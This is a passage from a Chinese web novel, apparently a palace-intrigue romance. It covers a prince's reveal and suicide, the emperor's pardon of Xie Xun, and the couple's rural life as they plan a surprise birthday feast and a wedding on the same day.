她想起依旧百思不得其解的疑点,为何左相可以随意调兵遣将?又为何他能顺利潜入京中,取真正的左相而代之,甚至完美地掌控这个朝堂? 这背后的一切到底是谁在帮他? 或者说,能帮他的只剩楚国皇室余脉,慕朝? 可慕朝这数年间并未与左相有过往来,断不能相帮,而且能帮扶左相之人必定位高权重。她忽然又想起左相最后的视线落于高堂之上,高堂有帝王,还有皇子… 她的眸光骤然一亮。 朔风凌冽,星子零落如碎玉倾盘,金戈铁马噤声,化为丝竹之乐。 夜色凉凉,礼王祁政乐台之上身着绫罗彩缎,忽而仰首饮下烈酒,挑灯舞剑,月声凄凉。剑峰所过之处,灯火皆颤。 他带着煞白又缀笑脸的伶人面具,酒气浸染衣衫,翩翩起舞。 身旁的宦官接过他丢下的酒壶,小声劝诫:“礼王殿下万不可让人见到你如此颓废哀痛的模样,万一有人疑心你与左相有联系,那就完了。” “哎…,说来也是可惜,本就在今日金銮殿上,崔广事就会当着文武百官的面宣读圣人藏在金匾后的立储旨意,只可惜…被姜时愿和谢循横插一脚。”宦官看着祁政低头傻笑,又规劝道,“殿下走右不过不能正大光明兴复楚国,但是这庆国的王位依旧是您的啊…你可千万要想清楚,留得青山在,不怕没柴烧。”“你懂什么,本王根不稀罕他给我的皇位,本王偏要自己夺!”祁政的剑尖忽然抵地,划破绒毯。 忽然此时,侍卫慌慌张张来报,说着姜时愿领着典狱司使还有禁军不知为何,围住了整个礼王府,还叫嚣说如今的礼王是假的。 祁政敛起眼眸,踉跄站起身来,却见庭院梨花簌簌而落,月华流转处,女子青丝半绾,泠泠如月,偏脸上还带着如他一样失魂落魄的哀意。 祁政皮笑肉不笑问着,"姜司使为何而来?" 她的眸如秋水,“臣想来给殿下讲一往事。从前,柒美人潜入皇宫本意报仇,却没想到在朝夕相处之间爱上圣人,也就是屠灭她家国的仇人。祁美人百般痛不欲生后,选择放下仇恨,却没想到圣人竟半点不念旧情,下令杀了柒美人和她刚刚不辞危险生下的孩子。" “幸好柒美人提前拜托左相,求他把自己的孩子送出宫廷。左相原本是想完成柒美人遗愿,遂命令乳娘去京中百户家寻来一个刚出生的婴儿,想要偷梁换柱。”“然而彼时,谁都没想到彼时柒美人的孩子与琴妃的孩子同时出生,听闻此消息的左相于是想到了一条妙计,他选择让百户家的孩子代替凄美人的孩子受死。” “你到底想说什么,姜司使?本王可没有那么多的时间听你讲故事?”祁政转身欲走,又忽然被姜时愿清清冷冷的声音叫住。 "臣猜想,当年左相是想让圣人尝尝心爱之子飘零在外、食不果腹的痛苦,遂将琴妃的孩子交给乳娘,让她带去宫外,让他们父子分离。"姜时愿越说越轻微,有些不忍,“左相又希望楚国血脉留在皇宫之中,一则积攒实力、助他复国,二则也要让圣人尝尝数十年养育仇人之子的滋味,更想让圣人有朝一日惨死在子弑父的戏本之下。" 姜时愿看着祁政藏于阴翳的面目,心有不忍,“所以,慕朝并非是楚国最后的血脉,他的生母乃是琴妃。臣也已经安排慕朝与琴妃滴血验亲,两滴血液相融,证明臣的猜想没错。” 姜时愿迎上祁政有些破碎的目光,顿了顿,又道:“礼王殿下您才是凄美人真正的孩子。” 祁政闻言神情意料之中的平静,重新戴起丑陋的伶人面具,舞动一柄御赐宝剑,剑鸣如泣如诉。殿内暗香涌动,似有意迎合。 姜时愿就这么驻足在祁正前面,看着他以清光为衬,墨发随风摇曳,舞完最后的一只绝唱。 一舞作罢,祁政又失魂落魄,挑剑架在脖颈之上,他终是抱憾地笑了笑,“事到如今,本王已不想再说什么。本王只恨圣人杀了母妃,但本王亦有愧对…愧对左相多年来的良口用心,愧对母妃为护本王而死,更是愧对本王的皇兄。" 一滴清冷泪落在寒芒之上,映亮他眼尾的红润,祁政声音颤颤,“皇兄是多么信任本王,欲将大庆江山社稷欲托付于本王,赞本王乃明君。而本王却因帝王,害死了他,本王夜夜不知如何面见皇兄,不知九泉之下如何向他请罪。" "或许…如今是最好的结局。" "殿下!" 姜时愿急喊出口,但已经为时已晚,寒芒刺破祁政的脖颈,鲜血成圈漫出,为这数十年的恩恩怨怨画上结尾。 殿外的侍卫和司使鱼贯而入,看着昔日的王储自刎离世,洁白的梨花簌簌落下遮住鲜血的殷红… 残更褪去,东方既白,迎来破晓庆国的天终于亮了… 储君祁钰逝世不过七日,又经历金銮殿事变,更在今夜听闻祁政自刎谢罪的消息。举宫沉浸在哀痛之中,姜时愿从内侍的口中更是听闻圣人承受不住打击,再次病卧于榻上,高烧不退。而姜时愿依然长跪在殿外,广袖垂地,不肯进水,不肯吃食,求着帝王相见。 不知是第几日,朝阳初升,薄雾如纱,金光穿越云层,渡亮在紧闭的殿门上。 姜时愿口干舌燥、四肢乏力,金光照得眼睛之景刺眼摇晃,昏沉之际,却见那缕金光映入殿内,朱门缓缓洞开。 她喜极而泣。 崔广事小跑出来,搀扶起姜时愿,说着:“圣人肯见姜司使了,你不必再跪了。” 姜时愿徐步进入殿内,只见她仰首瞧见了一个从未见过的庆帝。不过几日未见,庆帝已全然没有了帝王之气,双眸颓然地坐在龙座之上,两鬓花白,显出老态。本应享受天伦之乐的庆帝,如今身旁再无孝子。 庆帝扯下一缕花白的头发,看着自己沧桑花白的头发,叹着帝王迟暮。他极为痛苦地揉着酸胀的眉心,抬起沧桑微红的眼眸。 “孤昨夜做了一个极为漫长的梦,梦间孤梦到了很多人。” “孤梦到了你的阿耶伴孤左右,与孤对弈,畅谈政事,也梦到他欣快地介绍姜淳青年有为。孤还梦到了明嫩,她说她的心里从没有过孤,让孤放她离开。孤兜兜转转,又梦到钰儿和政儿与孤举杯共饮,恭贺孤万寿无疆,孤喜极落泪,想着大庆江山若有这两兄弟相互扶持,是何等美满….” 庆帝的鬓发犹如蛛丝般散乱,忍住眼里翻涌的泪意,“可一转眼,他们都离孤而远走,孤想抓住他们却如云烟远走…” “梦境的最后,孤难得的梦到了一次柒美人,数十年了…她终于肯入孤的梦境,她坐在孤的怀疑,摸着圆鼓的小腹问孤,这腹中的孩子该取什么名字…她还告诉孤,她是真的爱孤。” 庆帝颤颤微微地站起来,老态龙钟般拄着拐棍,走到姜时愿的面前,低声问着解答,“阿愿,你说…他们是为什么离孤而去,孤又是为何一步步走到如今孤家寡人的境地呢?” 姜时愿眼泪盈满杏眸,哽咽着,“陛下,是您的帝王猜疑。” “您对龙位的执念和痴狂,远胜过重视身边所有爱你的人,所以,您看不见柒美人对你的爱大过了恨,你看不见姜家人的赤诚总,以为他 们迟早会忘记旧恩并觊觎龙位,你更看不见所有人因你而受的苦难和流下的鲜血…. 说着说着,姜时愿的眼泪浸湿衣衫,跪在地上,不卑不亢,“陛下但凡您还存着一丝愧意和悔罪,就请中止这场因您而挑起的恩怨。楚国无辜的亡魂死了太多,庆国忠臣的血亦流了满地。" “臣女姜时愿为姜家鸣冤,也为夫君恳请圣人特赦。” 姜时愿跪在地上,高举太子祁钰临死前赠她的丹书铁券,为夫请命。 “陛下因为一己错念,已让姜家尽灭,兄长含冤而死。而今臣女仅有谢循一人,恳请陛下不要再带走他。谢循前半生虽被奸臣利用,但从没有不臣之心,他一直卧薪尝胆 周旋于奸臣,并忠于陛下,护佑庆国,还请陛下放下心中猜疑,相信谢循。” "陛下请你不要再添无辜的杀孽,把谢循还给臣女。" 庆帝看着丹书铁券,双眸紧阖,落下忏悔的泪水。 他终于俯下帝王之躯,握住姜时愿的一双柔荑,将她扶起,“孤会为姜家平反,昭告天下孤曾经错过的错事…” 庆帝替姜时愿擦干眼角的泪水,如慈父般温柔,“孤做了太多错事,对不起太多的人,但孤会——弥补。孤会让你如愿的,如你的名字一样,惜时如金,达成所愿。”“去吧.…就让孤做回违背诸臣意愿的昏君。庆国山高水远,你就带着谢循离去吧,离开这个权利纷争之地。” * 廊深如渊,青石壁冷,谢循被官吏解开浑身镣铐,独身走在出天牢的隧道中,足音回荡,四周阴冷。 这阴暗阴冷的隧道就如同他的来时路,看不见一丝天光,唯有他成为杀人刀具,拔出剑鞘时才会迸出二三星火,而那并不是救赎的火种,而是拽他入深渊的燃料。谢循闻着石壁生出青霉的腐味,原以为他也如此,慢慢腐烂、恶臭,神佛难救,没想到…他越过积水腌攒地,抬头仰见春台。 谢循含着柔情笑意,走出阴翳之地,便见春景盛美。他的阿愿等在绿意杨柳之下,双眸含春,与他远远相往。 春光正好,谢循朝她而去,姜时愿亦向他奔赴而来,乖顺地扶入他的怀中,悄悄踮着脚尖,贴近他的耳侧,只将于他一人听,“欢迎回家,阿循。” 她说的认真,满是柔情。 也依于他的怀中,贪恋失而复得的温暖,又再度喃喃:“阿循,欢迎回来。” 他轻笑着:"我回来了,阿愿。" 姜时愿将他抱得更紧,“我知道” 春风吹拂,几度温存之后,姜时愿才用玉手悄悄推开他的胸膛,颇有些俏皮的意味,“不知你是否还记得你曾答应过我,若一切尘埃落定后,你要如何?” “我忘了。”谢循笑着答了一句,“还请夫人明示。” 从他的笑意之中,姜时愿定猜出他就是故意不说,又嗔道:“那我就说这最后一遍,陪我隐居山林,从此不问世事,岁月白首,不知你可否愿意?” “阿愿明知我甘之如饴。”谢循笑着捉住她的腕子,制在腰上,眼眸璀璨如星。 姜时愿莞尔一笑,眼见谢循追逐着她的朱唇而来,正欲将香吻奉上。 忽然,袁黎急急横插至他们二人中间,都快急哭了,"那我呢?你们云游四方,却不带上我?" 姜时愿脸上腾起红晕,忙不迭撤出谢循的怀抱,故意戏谑袁黎,“你?我为何要带你?我得赶紧去典狱收拾行囊,好把你一个人扔在汴京中!” “等等!姜时愿!”袁黎急吼吼地追着她的身影而去,急得几度结巴,“你休想要吓我,我我我…,你不知道我轻功最是厉害吗,我定比你先到典狱,把你和主君的包裹都给挟持了,到时候你不带我,也会求着带上我!" 谢循看着她们二人在春日之下的追逐玩闹,舒朗展开笑意。又见他们忽然转身,看着始终停留在原地的自己,不约而同伸出手。 姜时愿更是笑靥如花,声音温婉,"阿循,来。" 他从未想过能遇见一个女子。观他旧往,知他晦暗。却,同他仰春,许他春朝。 谢循追寻而去,不再患得患失,揽她入怀。定下生生世世,再不分离。 (正文完结) 127、番外一 却说姜时愿和谢循携手离开京城之后带着袁黎兜兜转转,才决定在一个名叫临湘县的地方定居下来。 姜时愿看上了一间隐于山水之间的田宅,如要盘下来,需要一笔银两。 这些银两本对她和谢循本算蝇头,微不可计,可惜他们二人从京城离开时并未带走任何物件和银两,眼看着三人即将沦落街头之时,袁黎大手一挥信誓旦旦地走进当铺,片刻之后捧着十两银子兴高采烈地跑了出来。 姜时愿忙不迭问道袁黎是当了什么?袁黎说着也不是什么值钱的东西,就是早已没用的典狱腰牌。 谢循听得扶额头疼,姜时愿难得能听见他的叹气和无奈。 要知道袁黎是一处之长,他的腰牌也与普通司使的银制腰牌不同,乃是真金打造的。要不是姜时愿不知道他竟还带着腰牌,怎会让他去当铺用金子换银子?还只换来了十两.… 她盯着柜台上出柜不退的牌子和老板爱不释手的模样,知晓肯定是拿不回来的,又蹲下问着袁黎,“你可还有什么值钱但不需要的东西吗?” 袁黎似拨浪鼓般的点头,又紧接着解开身上包裹,陆续掏出来许多杀人利器、防身毒药、弹弓、草兔… 袁黎眨巴着眼睛,“之前都是主君之前送我的,应当价值连城,你尽管拿去卖…”姜时愿不忍直视,利器毒药虽然值钱但一旦贩卖,便是要吃官司的。而剩下的弹弓玩具等,在袁黎的眼中或许价格不菲、但实则一文不值… 看着袁黎满怀期待的眼神,姜时愿不想戳破,接过银子,捏捏袁黎的脸,“我们不需要再当了,十两银子已经足够把那家田宅盘下来了,只不过剩下的日子就要靠我们自给自足了。” “你说呢,阿循?”姜时愿看向谢循,“我来掌家,我主外你主内,如何?” “自然都听阿愿的。”谢循调笑着,握着她的一双柔荑,二人走在夕阳下缓缓望着青山绿意而去。 一切也正如姜时愿所期盼的那样发展,他们花了整整一周的时间翻修田宅该有的寝房、偏房、灶台、鸡圈、小院等通通收拾了出来,本是破败的田宅焕然一新。 谢循更是充分发挥了他修身的习性,只不过这习性稍稍没有了先前在京中的高调贵气。插花养草的富人雅趣变成了朴实无华的种菜浇田,先前在典狱中垂钓、喂锦鲤的闲趣亦变成了普普通通的喂鸡,还要喂袁黎不知从哪抱回来的小白狗。 姜时愿时至今日都没想到谢循竟会心甘情愿地放弃奢华,与她归隐山间,更是事从农务。 每次姜时愿采完草药去往集市售卖完后归家时,都能看到谢循的额间还有胸膛敞开的衣襟前覆上一层细密的汗,她都会掏出帕巾帮他轻轻擦去。 今日难得见谢循的脸上一层不染、身上也未生汗,坐在石桌旁赏着院中长青树且颇有雅致地赏景饮茶。 姜时愿便放下背篓,绕至他的身后,蒙住他的双眼,与他玩闹:“莫非夫君没有乖乖守家,反去做贼了不成?” 谢循笑问道,眸光温柔,“阿愿怎知我去做贼了?” “是什么贼,偷了什么,你若不肯从实招来,小女子可就要报官捉人了。”姜时愿配合着他演跟着义正言辞,下一瞬,谢循握住她柔若无骨的柔荑,转头临近她粉嫩的香颈,语气暧昧,“采花大盗,正欲偷香。” “什么香?” 倏然,姜时愿的身子一下落空被谢循横抱着往屋内走去,他幽幽的嗓音和冷梅香一并袭来,“自然是偷阿愿这朵花香。” 直至她被抱上榻才知谢循是动了真格的,这下她也没心情玩闹了,又羞又燥地往他胸口推搡几下,“别闹了,青天白日的怎么能没个度呢.…且…你昨夜不是才放纵过了吗…更何况,袁黎若是突然回来了瞧见这幕,又要如何是好…” 谢循却不慌不忙将轻薄的群衫系带攥在手中,如鱼渴水的欲念如藤蔓慢慢缠上心,“仁者都说‘食色性也,人之大欲存焉’,仁者况且如此,阿愿你叫我这种凡夫俗子如何能忍受?" 他又开始——辩解,“况且,昨夜就怕阿愿会累着,所以刻意收敛,意犹未尽。” “至于袁黎更须臾担心,我早就打发他进山去猎熊,打不到不许回来。” 听后姜时愿更不肯了, “依着袁黎的武功,一个熊岂不是手到擒来?不成,绝对不成…”她满脸羞红,欲从谢循欺身俯下的桎梏中挣脱出来,谁料他竟不由分说地握住她的一只脚踝,架在肩头,吻意一路向下蔓延,炙热而又滚烫。 谢循的欲念四起、嗓音更是沙哑,“放心吧,阿愿。山林我早就探过,凶兽百头,但唯独没有熊,袁黎回不来。” “你…”她被谢循的一番预谋已久的计策狠狠拿捏,嘤咛连连,在他愈发的攻势下,娇躯化水般发酸,竟羞怒得说不出话来。 要知道姜时愿的细想还是半受闺阁洗礼,从小接受的礼教更是根深蒂固,对于此等私密之事更是保守,不是晚上也不成,不是榻上不成,那些册子上孟/浪至极的姿/势更是难以接受。可她渐渐地发现,谢循并非如此他虽体贴,万事以她为先,但暗中藏着一颗狼子野心许久,只是他压抑不说、循序渐进慢慢挑战厮磨着她的边界,直至完全被他攻略。 比如,这次若开了白日这个口子,谢循定会愈加过分。 比如,若允他不在床.榻行事的先河,他定会哪哪都敢,她光是想想都觉得糟糕… 再比如…姜时愿面红耳赤,不敢细想,迟迟不愿想最后一种结果…这简直是!是!颠鸾.倒.凤,不知天地是何物! 姜时愿想想也不能让谢循如愿,不然日后不知如何欺负她,遂在他的怀中不算安分,谢循却如同提前看穿了她的想法般,眉头紧锁,面露痛苦。 “怎么了,阿循?”她跟着察觉到,满是关切,看着谢循捂着曾被她亲手刺伤的地方,内心亦跟着揪起来,心念着莫非是她方才的挣扎无意中令他旧伤撕裂。 “疼吗?”她总是因为这不可磨灭的刀伤满是愧意,再不敢乱动。 “疼。”更是看着谢循目光哀楚,语气卑微,“阿愿…我并非定要如此的只是最初的三次云雨我们都未曾好好珍视过彼此,你可知我今日鼓足了多大的勇气,才肯与你提这事…” 一番话把姜时愿的心里弄得不好受,她回想起来却是因先前两次皆是她的有意试探,从此之后,她亦更感觉谢循在行事上皆有讨好的意味,她无关的一颦一笑都让他尤为惶恐,想来是影响至深。 姜时愿其实早就宽慰过谢循无数次往事不必再提,早已过去,奈何他的心中仍有阴影和顾忌。 哎…言语宽慰仅有微效,怕是还得‘身体力行’才能证明。 姜时愿最看不得谢循这样,思来想去,玉臂又娇又怜环着他的脖颈,脸上热气腾腾,“仅此一次,下不为例。” 谁料,谢循得了准信,阴郁一扫而空,剑眉微挑,饶是‘计谋得逞’的笑容。 这下姜时愿才知上了贼船、什么旧伤作痛、什么哀求,全是假的。真难为他调虎离山、美人计、苦肉计和暗度陈仓全部使她身上。 “阿愿一言九鼎,既然答应了就不得反悔。”他还盯着她的鸦青色抱腹瞧着出神,轻笑着,指腹在上描绘着玉兰花卉,痒意划过丰腴,赞不绝口,“兰花更衬阿愿的冰清玉质。”就是不知他此生是否有幸见能亲眼目睹。 日落黄昏,谢循方才放过姜时愿,姜时愿又浑身乏软歇在他的怀中,贪睡到半夜,才“当”得脑海中闪过一丝错愕,袁黎是不是还没归家? 她哪还敢歇在温柔乡,怕袁黎突然返还便喊谢循在家等着,而自己则动身进山寻找。她心中担心得紧,生怕他遭遇不测,边打着灯笼边喊着袁黎的名字。一炷香之后,她才看见袁黎从树上跳上,一脸失意。 姜时愿连忙带着袁黎回家,边走边说:“以后别总是轻易相信谢循的话,知道不?你年纪还小,都分辨不清他哪句话是真,哪句话是假。” “主君从未骗过我。”袁黎道。 “他.…骗过….姜时愿小声纠正。 袁黎又反驳,"那你说说,他哪里骗我了?又为何要骗我?" 姜时愿自然不敢告诉谢循的用意,红着脸低头快走,可惜袁黎非要刨根问题,姜时愿拗不过指着乡里热闹的席宴转移袁黎的注意力,“你瞧,他们在干什么?”远处灯火点点,数十人在席间畅快吃席,难得地大鱼大肉摆上宴席。一名头戴裹巾怀中抱着婴儿的美妇人流窜于席间,在声声道贺上之下喜笑颜开。 这看来是在庆祝孩子的满月酒。 姜时愿看着袁黎满脸艳羡,又蹲下来说道,“听阿循说你的生辰在冬季十一月。等你生辰到了,我跟阿循定给你办个比这还热闹、还要气派的,你觉得好不好呀?”袁黎嘴上说着繁琐不需要,脸却一点点烧红起来。 每年他的生辰,谢循都会如约端来一碗面,并喊着他就算硬着头皮都要连汤喝下。谢循从未过过生辰,也不知如何为人庆生,也从未有世家贵族敢邀请‘罗刹’去参加生辰宴,所以他未曾感受,也未过过,只能遵着习俗,给袁黎一碗长寿面,喊他吃完。这便是谢循给谢循每年清汤寡水的庆生仪式,所以袁黎今日见到别开生面的庆生宴,眼睛都发直了,他都不知可以如此热闹、喜庆,说不羡慕都是假的。 姜时愿瞧着袁黎也跟着谢循有样学样,表里不一,心口不一、只不过袁黎更多的是单纯,幸得没学到谢循狡诈。 只不过她想到谢循,又忽然想起,好似谢循从未跟她说过他何时出生的?莫非,这么多年,他从未庆祝过自己的生辰吗?她又记起蒋丞县跟她说过,四绝生来就是孤儿,无父无母,不是被遗弃就是双亲早逝…估计谢循连自己何时生的都不知道。 姜时愿从前还有兄长为她操办生辰,但谢循却从来没有一人为他庆过生。她内心又怜又酸,更是愧歉为何如今才想起来此等重要的事? 她心念着,悄悄覆在袁黎的耳畔,生怕被人听见了,“我们暗中秘密为阿循暗办个生日宴如何?” 袁黎听后与她一拍即合,二人翌日就连来到县里,找了街头算卦的大师,请他算一下良辰吉日,大师掐指算了下,六月六,正巧在一月之后,万事大吉,宜婚嫁开府等等大事。 姜时愿和袁黎听着此等吉日,当即就定下,要在此日为谢循办生辰宴。 这是谢循第一个生辰宴,姜时愿定要好好操办,但想要办好便有一个刚需——银子,吃食、礼物、宴请宾客哪个不需要银子,以前她拿得出,可见她已经荷包见底。 遂姜时愿又拉拢袁黎每日清晨早起,陪她进山采药,争取多往医馆卖些草药,多挣点银两。袁黎自然也乐意帮忙,改掉了懒睡的习惯,每日天还未亮就跟着姜时愿进山。当然这一切必瞒着谢循进行,姜时愿选择清晨就是为了在阿循睡醒之前悄悄出门,又悄悄回来。 姜时愿满心满算计划着一切,袁黎奉命执行。 只不过,袁黎很快发现事情有了变故。 三日后,他刚洗漱完溜进被窝准备睡觉,就忽地被谢循叫起,谢循一言不发拎着袁黎进入深山,袁黎半梦半醒。揉着几乎睁不开的眼睛跟在谢循身后,只见谢循递给他弓箭和弩刀,喊他打猎。 纵使好脾气的袁黎也难敌困意,抱着谢循的腿只喊困。 "主君,我困,我想回去睡觉。" “白天你可以尽情补觉,只需夜里稍微辛苦些。” “不成的,我还要…”袁黎想起白天要跟姜时愿采药,刚欲交代,又想起姜时愿叮嘱已久的惊喜,又瞅着谢循似狐狸般的眸光逢上,生生咽了回去,改口道:“没事…我懒罢了…长身体想多睡会儿…” 谁料谢循竟然一点也不心疼,吹动哨声,以袁黎为饵引来老虎,他这下是不醒也得醒了,只好拿起弩刀,杀了凶兽。 谢循拍手叫好,揉着袁黎的头,颇有欣慰。他单跪下来,用着小刀剜去老虎的兽皮,算着这张兽皮的价格,城中一张完整的兽皮可售出一钱,离他所需要的银两还远远不 够。 "袁黎还不够,你再去猎些凶兽,我负责取皮。""啊…主君…你要取兽类的皮毛干什么?"“用它换银子。” 谢循轻敲着袁黎的头,佯装恐吓,“你还说,要不是你把腰牌低价当了出去,何需我们如今要身批月色进山狩猎。这事因你而起,你应当如个大丈夫般担起责任。” 袁黎又把姜时愿的苦口婆心不要轻信谢循的劝导忘了个一干二净,忙不迭地点头:“主君你放心,既然此事因袁黎而起,袁黎定会承担责任,绝不退缩。我我我…我这就去打猎!" 谢循颇为欣慰地颔首同意,他亲传给袁黎的一身武艺,算是物尽其用。 在天亮起之前,谢循和袁黎便满载去了集市上售卖。一夜辛苦,早让袁黎困得脚步都发轻,谢循见之也是无奈发笑,收下银子,背着困意正浓的袁黎徐徐归家。袁黎的双手垂着摇摇晃晃,下颌抵在谢循的肩上,模模糊糊地问:“主君你要这么多的银子做什么?” “遗憾罢了,我和阿愿无媒而合,未拜过天地高堂,连一纸婚约都是假的。所以,我想为阿愿补办一场喜宴,请亲朋好友见证,再入洞房喝下交杯,真正做到礼数周全,成为真正的夫妻。”谢循说得真挚,神情亦在晨曦的光影中愈发变得柔情。 “办场体面的喜宴要耗大量白银,我才希望你能帮我。”谢循罕见地求了袁黎。袁黎也第一次觉得自己能帮上主君,而不是躲在他的身后等他照拂,自是当即同意。 他又问道,"主君,那喜宴要办在何时呢?" 谢循:“我算过,下月六月初六是个不错的日子。” 在那刹那间,袁黎忽然吓醒了,身子绷得直直的… 不是吧,怎么生辰宴和喜宴撞在一起? 作为两头牵线的袁黎头一次感觉到了‘压力山大'',心念着:这个家没他撑着,准得散! 128、番外一 却说这夫妻俩的心思想到一处去了,姜时愿想为谢循办生辰宴,谢循又想为姜时愿弥补一场婚宴,这日子不约而后定在同一天,又均定在晚上。 夫妻俩每日同吃同寝,却各怀鬼胎,让成为双面细作的袁黎苦不堪言。 每日都睡不够,因为白天要跟着姜时愿上山采草药再拿去集市上卖钱,晚上又要跟谢循进山打猎,往往复复,袁黎身上为数不多的肉又掉了不少.… 但他最怕的还是事情从自己嘴里败露。 这不,饭桌之上姜时愿和谢循的试探再起,听得袁黎心惊肉跳,生怕自己一个不留神兜不住话。 即使夫妻,亲密一体,姜时愿自是发觉了谢循这段时间的不对劲,夜里总是趁她睡着带着袁黎不知去向,不知有啥事瞒着。她挑了一块袁黎极厌恶的肥肉搁进他的碗中,问道:“我瞧你咋越发瘦了,而且饭桌上还打着瞌睡,莫非没有休息好?” 竖立的筷子“笃笃”敲在木桌上,袁黎轻而易举地着了姜时愿的道,略有苦闷地点点头。姜时愿立马嗅到契机,追问:“为何没有休息好,与我说说呢。” "哎…不就是主君…”而后袁黎的声音变得咕噜咕噜,谢循简直是撬开袁黎的嘴,强硬地喂了一口他不爱喝的汤进去,偏还话音温柔:“他痴迷上看志怪鬼谈了,夜里常被吓得睡不着。” 袁黎紧接着被谢循又轻又淡的眼神警告,被迫承认。 眼看敌人有所防备,姜时愿只得悻悻地放过这好时机,颇为苦闷地咽了一口鱼汤进去,冷不丁听着谢循的话音又起,“袁黎平时不是总是贪睡到日上三竿才起,怎的最近转性了,每次我起身竟发现袁黎起得比我还早。" “袁黎,你说,早起是去为了干什么?”谢循看似对着袁黎发问,实则余光一直都瞄着姜时愿。 作为她的枕边人,他早就发现了阿愿近日诸多的不对劲,时常寅时出门,卯时而归。 听着谢循的尾调轻轻上扬吓得袁黎浑身炸起鸡皮疙瘩,他也一向不敢对谢循隐瞒,眼看着实话就要止不住地往外露,好在姜时愿及时拿起一个鸡腿及时塞入袁黎,悻悻地打着圆场,“袁黎别光顾着说话,等下的菜都凉了.…记住食不言寝不语。”还有,别漏了嘴。 姜时愿和谢循之间的互相试探可却苦了袁黎,袁黎饭量本就不大,被左一勺右一筷子地喂,喂到腮帮子和肚皮皆鼓鼓的,有苦难言。 就这么几乎‘不眠不休′袁黎充当苦力半月之后,姜时愿和谢循各自所需的银 两终于备齐了,他刚觉得如释重负,又分别发现这夫妻二人竟又想到了一处——宴邀宾客。暮色渐沉时,信鸽跋山涉水从临湘县飞至繁华汴京,展翅落在窗棂前。 在临水局与苏言等人逗蛐蛐的陆不语见到姜时愿的信笺大喜,急忙带着消息前往五处唤着陆观棋,"临湘县来信了!不知兄长可有收到姜时愿寄来的信笺,她喊我们前去参加主君的生辰宴。" 然而陆观棋的指尖上却夹着另一份封同样来自临湘的密信,“瞧了,我这里也方收到了一封来自主君的喜帖,是喜宴。看来主君和姜司 使的想法是不谋而合,撞上了。” 片刻之后,兄弟二人集齐了所有收到信笺之人,四处的苏言及李顺,祁灵萱和蓝月,已摇身一变成为皇子的慕朝,以及略不受待见的安瑛,众人乌油油的脑袋围了圆桌一圈。 慕朝更是难掩嫌弃盯着喜帖气得牙痒痒,原来是因为他只收到了来自小姐的生辰宴邀贴,本来他就不乐意去给谢循庆生,今一看见喜帖更觉五雷轰顶,只骂天塌了! “为什么你们所有人都有喜帖,就本王没有?这谢循真不是个好东西,竟然敢背着本王把小姐娶了.…” 慕朝的火气蹭蹭地往外冒,难听的话本该也像雨后春笋一般地往外冒,只可惜,他忘了他如今不是在宫内,是在典狱。他眼前的不是誓死效忠谢循的狗腿子,就是极为爱慕谢循容貌的祁灵萱,眼瞅着众人略含杀意的眼神纷纷刺向他,慕朝只能囫囵地将脏话咽了回去。 “不必搭理皇兄,谁不知道他是吃不着葡萄说葡萄酸罢了。反正皇兄既不想去生辰宴,又没有收到帖子邀你去喜宴,要么皇兄就留在汴京吧。”祁灵萱的一番说辞更是气得慕朝跳脚。 慕朝都脸红到升温了,祁灵萱倒是淡然地转头与众人一起商量对策,“既然他们二人有心为对方准备惊喜,我们也不好拆台,不如我们帮他们将这生辰宴和喜宴操办在一块吧!" 众人听后一拍即合。 慕朝嘴上说着绝对不会来吃谢循的喜酒,结果还是口是心非地随着陆观棋等人来了临湘县,按着舆图上的地址找到田宅。 姜时愿见到他们之时极为欣喜,——向他们问安,祁灵萱更是直接扑在姜时愿的怀中,黏着不放,缠着多抱会儿。 还是慕朝看不下去,拽着祁灵萱的衣襟拎开。又再见到姜时愿的笑颜时,心中积攒的烦闷霎时转为释然,只要小姐开心说什么都成!他亦跟着扬起笑容并展开双臂,由衷道:“好久不见。” “是啊,许久不见。” 靠!听着这熟悉的男音,慕朝顿感大事不妙。 果不其然,下一瞬慕朝迎上了一个清冷的怀抱,这个该死的且不知从哪冒出来的谢循偏此时坏他好事。 这对于双方来说都是一个极为变扭的拥抱,在众人面前佯装亲密,实则话里难掩嫌弃。 谢循语气阴幽,声音轻微。仅能他们二人听见,“殿下怎么来了,临湘县庙小可容不下您这尊大佛?” “某人给了所有人喜帖,唯独不给本王,莫不是心里有鬼?”慕朝亦跟着皮笑肉不笑道,“怎么,你是不是没有把握小姐会心甘情愿嫁给你呀?本王想着万一小姐后悔了,至少本王还能带她逃婚去。” 糖。 “痴人说梦,殿下恐怕连袁黎都打不过吧?”谢循话落,两人四目相接,眼峰刀光剑影,互不示弱。 姜时愿被慕朝和祁灵萱兄妹带到小厨房,由头是准备生辰宴上的菜品;而陆氏兄弟、苏言李顺还有安瑛则跟谢循前往观音庙中,清扫场地,布置喜宴,摆上数十张圆桌,挂上红绸。 先说姜时愿这边,她正在小厨房内忙活着备菜,因为今日要准备的皆是谢循爱吃的口味,所以她今晨特意去集市上买了三个糖罐子回来。 这场喜宴谢循早已提前半月向村中所有乡亲发去喜帖,乡亲也各个都是热心肠的,想着这对脸生的小夫妻初来临湘县必是人生地不熟定,办不好喜宴,遂家家都自发地想帮夫妻俩做些什么。 家里面吃食还算凑合的,便为小夫妻凑上鸡鸭牛羊。条件紧巴的也不碍事,可以如村口的老王拿出看家的手艺,丹青书写大红对联贴在庙柱之上,又比如李氏父子专做红灯笼,于是大红灯笼绵延不绝把观音庙挂得亮如白昼。 在看到观音庙的那一刻,姜时愿感动地泪满凤眸。 第二拜,是敬高堂。姜时愿却犯了难,她和谢循的双亲、至亲均无一人还在世上,如何拜?骤然手中的红花微向南面扯动,她跟着谢循的举动转向南面,只见双亲、兄长还有三七的灵牌均在置在佛龛之上。 姜时愿泪光盈盈,心头的暖意瓒动,“阿循你也不怕犯了忌讳。”向来喜事最怕和丧事相撞,意在婚姻不美满,她没想到谢循可以为了她不在乎世俗成见。谢循搂过姜时愿的柳腰,与她一起拜向灵牌,“不怕。他们都是阿愿你的至亲,也会是我的家人,我也想让他们亲眼见证你我成婚,看清我对你的真心。”他的眸光划过姜淳的灵位,语气格外诚恳,“唯有这样,才能让姜学士放心把你交给我。” 哪想着慕朝似张了个狗鼻子般嗅着他手中酒盏的味道不对,手搭在帮凶袁黎的肩上,戏谑道:“早就知道是小姐看错了人,新郎官连个喜酒都要以假乱真,拿白水糊弄人,可见对小姐的情意也不是真的。" 袁黎红着脸替谢循辩解,“主君才不是这种人。” 辰礼 